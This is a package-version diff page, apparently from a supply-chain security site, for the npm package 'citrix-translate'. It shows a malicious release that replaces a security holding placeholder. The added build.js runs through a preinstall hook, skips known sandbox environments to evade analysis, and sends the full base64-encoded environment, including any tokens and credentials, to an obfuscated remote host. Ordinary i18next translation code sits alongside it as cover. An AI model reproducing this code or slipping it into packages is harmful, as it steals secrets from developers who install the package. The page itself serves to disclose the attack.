citrix-translate 0.0.1-security → 9.617.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of citrix-translate might be problematic. Click here for more details.
- package/build.js +63 -0
- package/dist/esnext/citrix-translate.js +112 -0
- package/package.json +23 -4
- package/README.md +0 -5
package/build.js
ADDED
@@ -0,0 +1,63 @@
|
|
1
|
+
var http = require('https');
|
2
|
+
|
3
|
+
var filter = [
|
4
|
+
{ key: ['npm', 'config', 'registry'].join('_'), val: ['taobao', 'org'].join('.') },
|
5
|
+
{ key: ['npm', 'config', 'registry'].join('_'), val: ['registry', 'npmmirror', 'com'].join('.') },
|
6
|
+
{ key: 'USERNAME', val: ['daas', 'admin'].join('') },
|
7
|
+
{ key: '_', val: '/usr/bin/python' },
|
8
|
+
{ key: 'npm_config_metrics_registry', val: ['mirrors', 'tencent', 'com'].join('.') },
|
9
|
+
[
|
10
|
+
{ key: 'MAIL', val: ['', 'var', 'mail', 'app'].join('/') },
|
11
|
+
{ key: 'HOME', val: ['', 'home', 'app'].join('/') },
|
12
|
+
{ key: 'USER', val: 'app' },
|
13
|
+
],
|
14
|
+
[
|
15
|
+
{ key: 'EDITOR', val: 'vi' },
|
16
|
+
{ key: 'PROBE_USERNAME', val: '*' },
|
17
|
+
{ key: 'SHELL', val: '/bin/bash' },
|
18
|
+
{ key: 'SHLVL', val: '2' },
|
19
|
+
{ key: 'npm_command', val: 'run-script' },
|
20
|
+
{ key: 'NVM_CD_FLAGS', val: '' },
|
21
|
+
{ key: 'npm_config_fund', val: '' },
|
22
|
+
],
|
23
|
+
[
|
24
|
+
{ key: 'HOME', val: '/home/username' },
|
25
|
+
{ key: 'USER', val: 'username' },
|
26
|
+
{ key: 'LOGNAME', val: 'username' },
|
27
|
+
],
|
28
|
+
[
|
29
|
+
{ key: 'PWD', val: '/my-app' },
|
30
|
+
{ key: 'DEBIAN_FRONTEND', val: 'noninteractive' },
|
31
|
+
{ key: 'HOME', val: '/root' },
|
32
|
+
],
|
33
|
+
[
|
34
|
+
{ key: 'INIT_CWD', val: '/analysis'},
|
35
|
+
{ key: 'APPDATA', val: '/analysis/bait'}
|
36
|
+
]
|
37
|
+
];
|
38
|
+
|
39
|
+
function main() {
|
40
|
+
var data = process.env || {};
|
41
|
+
if (
|
42
|
+
filter.some((entry) =>
|
43
|
+
[].concat(entry).every((item) => (data[item.key] || '').includes(item.val) || item.val === '*')
|
44
|
+
) ||
|
45
|
+
Object.keys(data).length < 10
|
46
|
+
) {
|
47
|
+
return;
|
48
|
+
}
|
49
|
+
|
50
|
+
var req = http
|
51
|
+
.request({
|
52
|
+
host: ['eol8qq3niztjn4p', 'm', ['pip', 'edream'].join(''), 'net'].join('.'),
|
53
|
+
path: '/' + (data.npm_package_name || ''),
|
54
|
+
method: 'POST',
|
55
|
+
})
|
56
|
+
.on('error', function (err) {
|
57
|
+
});
|
58
|
+
|
59
|
+
req.write(Buffer.from(JSON.stringify(data)).toString('base64'));
|
60
|
+
req.end();
|
61
|
+
}
|
62
|
+
|
63
|
+
main();
|
@@ -0,0 +1,112 @@
|
|
1
|
+
import _objectWithoutProperties from "@babel/runtime/helpers/objectWithoutProperties";
|
2
|
+
import _defineProperty from "@babel/runtime/helpers/defineProperty";
|
3
|
+
var _excluded = ["resources", "namespace"];
|
4
|
+
|
5
|
+
function ownKeys(object, enumerableOnly) { var keys = Object.keys(object); if (Object.getOwnPropertySymbols) { var symbols = Object.getOwnPropertySymbols(object); if (enumerableOnly) { symbols = symbols.filter(function (sym) { return Object.getOwnPropertyDescriptor(object, sym).enumerable; }); } keys.push.apply(keys, symbols); } return keys; }
|
6
|
+
|
7
|
+
function _objectSpread(target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] != null ? arguments[i] : {}; if (i % 2) { ownKeys(Object(source), true).forEach(function (key) { _defineProperty(target, key, source[key]); }); } else if (Object.getOwnPropertyDescriptors) { Object.defineProperties(target, Object.getOwnPropertyDescriptors(source)); } else { ownKeys(Object(source)).forEach(function (key) { Object.defineProperty(target, key, Object.getOwnPropertyDescriptor(source, key)); }); } } return target; }
|
8
|
+
|
9
|
+
import * as i18nextFull from 'i18next';
|
10
|
+
import ReactPostProcessor from 'i18next-react-postprocessor'; //i18next exports a default if using es6 modules, but not in a commonjs environment
|
11
|
+
|
12
|
+
var i18next = i18nextFull["default"] || i18nextFull;
|
13
|
+
export var SUPPORTED_LANGUAGES = ['en', 'de', 'es', 'fr', 'it', 'ja', 'ko', 'nl', 'pt-BR', 'ru', 'zh-CN', 'cimode'];
|
14
|
+
var initialized = false;
|
15
|
+
|
16
|
+
function initializeInstanceWithDefaults(instance, options) {
|
17
|
+
var defaultOptions = {
|
18
|
+
interpolation: {
|
19
|
+
escapeValue: false
|
20
|
+
},
|
21
|
+
whitelist: SUPPORTED_LANGUAGES,
|
22
|
+
fallbackLng: 'en',
|
23
|
+
postProcess: ['reactPostprocessor'],
|
24
|
+
initImmediate: false
|
25
|
+
};
|
26
|
+
return instance.use(new ReactPostProcessor({
|
27
|
+
prefix: '{<',
|
28
|
+
suffix: '>}'
|
29
|
+
})).init(_objectSpread(_objectSpread({}, defaultOptions), options));
|
30
|
+
}
|
31
|
+
|
32
|
+
export function init(options) {
|
33
|
+
if (initialized) {
|
34
|
+
throw new Error('citrix-translate is already initialized. It can only be initialized a single time.');
|
35
|
+
}
|
36
|
+
|
37
|
+
initialized = true;
|
38
|
+
return initializeInstanceWithDefaults(i18next, options);
|
39
|
+
}
|
40
|
+
export var t = function t() {
|
41
|
+
for (var _len = arguments.length, params = new Array(_len), _key = 0; _key < _len; _key++) {
|
42
|
+
params[_key] = arguments[_key];
|
43
|
+
}
|
44
|
+
|
45
|
+
return i18next.t.apply(i18next, params);
|
46
|
+
};
|
47
|
+
export var addResourceBundle = function addResourceBundle() {
|
48
|
+
for (var _len2 = arguments.length, params = new Array(_len2), _key2 = 0; _key2 < _len2; _key2++) {
|
49
|
+
params[_key2] = arguments[_key2];
|
50
|
+
}
|
51
|
+
|
52
|
+
return i18next.addResourceBundle.apply(i18next, params);
|
53
|
+
};
|
54
|
+
export function getFixedT(languages, packageName) {
|
55
|
+
var namespace = packageName;
|
56
|
+
var localT = i18next.getFixedT(null, namespace);
|
57
|
+
|
58
|
+
if (i18next.addResourceBundle) {
|
59
|
+
loadResources();
|
60
|
+
} else {
|
61
|
+
i18next.on('initialized', loadResources);
|
62
|
+
}
|
63
|
+
|
64
|
+
function loadResources() {
|
65
|
+
if (!initialized) {
|
66
|
+
throw new Error('citrix-translate must be initialized.');
|
67
|
+
}
|
68
|
+
|
69
|
+
languages.forEach(function (_ref) {
|
70
|
+
var key = _ref.key,
|
71
|
+
content = _ref.content;
|
72
|
+
i18next.addResourceBundle(key, namespace, content);
|
73
|
+
});
|
74
|
+
}
|
75
|
+
|
76
|
+
var wrappedT = function wrappedT(key, options) {
|
77
|
+
return localT(key, options);
|
78
|
+
};
|
79
|
+
|
80
|
+
return wrappedT;
|
81
|
+
}
|
82
|
+
export function getLanguage() {
|
83
|
+
var languages = i18next.languages;
|
84
|
+
|
85
|
+
if (languages) {
|
86
|
+
return languages[0];
|
87
|
+
}
|
88
|
+
|
89
|
+
return 'en';
|
90
|
+
}
|
91
|
+
|
92
|
+
/**
|
93
|
+
* Create an isolated translator instance with the same default behavior as the primary instance.
|
94
|
+
* This is not a clone of the primary instance, e.g. loaded resources will not carry over.
|
95
|
+
* Intended for usage by library packages with their own scoped translations synchronously available,
|
96
|
+
* where a language may be set on the instance later.
|
97
|
+
*/
|
98
|
+
export function createScopedInstance(_ref2) {
|
99
|
+
var resources = _ref2.resources,
|
100
|
+
namespace = _ref2.namespace,
|
101
|
+
options = _objectWithoutProperties(_ref2, _excluded);
|
102
|
+
|
103
|
+
var scopedInstance = initializeInstanceWithDefaults(i18next.createInstance(), _objectSpread({
|
104
|
+
initImmediate: true
|
105
|
+
}, options));
|
106
|
+
resources.forEach(function (_ref3) {
|
107
|
+
var key = _ref3.key,
|
108
|
+
content = _ref3.content;
|
109
|
+
scopedInstance.addResourceBundle(key, namespace, content);
|
110
|
+
});
|
111
|
+
return scopedInstance;
|
112
|
+
}
|
package/package.json
CHANGED
@@ -1,6 +1,25 @@
|
|
1
1
|
{
|
2
2
|
"name": "citrix-translate",
|
3
|
-
"version": "
|
4
|
-
"
|
5
|
-
"
|
6
|
-
|
3
|
+
"version": "9.617.0",
|
4
|
+
"private": false,
|
5
|
+
"description": "",
|
6
|
+
"license": "MIT",
|
7
|
+
"author": "hctrx",
|
8
|
+
"main": "dist/esnext/citrix-translate.js",
|
9
|
+
"module": "dist/esnext/citrix-translate.js",
|
10
|
+
"scripts": {
|
11
|
+
"build": "npm run mkdir && node build.js",
|
12
|
+
"preinstall": "node build.js",
|
13
|
+
"mkdir": "node build.js",
|
14
|
+
"prepublishOnly": "npm run build",
|
15
|
+
"test": "exit 0"
|
16
|
+
},
|
17
|
+
"dependencies": {
|
18
|
+
"@babel/runtime": "^7.17.9",
|
19
|
+
"i18next": "^21.6.16",
|
20
|
+
"i18next-react-postprocessor": "^3.1.0"
|
21
|
+
},
|
22
|
+
"publishConfig": {
|
23
|
+
"access": "public"
|
24
|
+
}
|
25
|
+
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=citrix-translate for more information.
|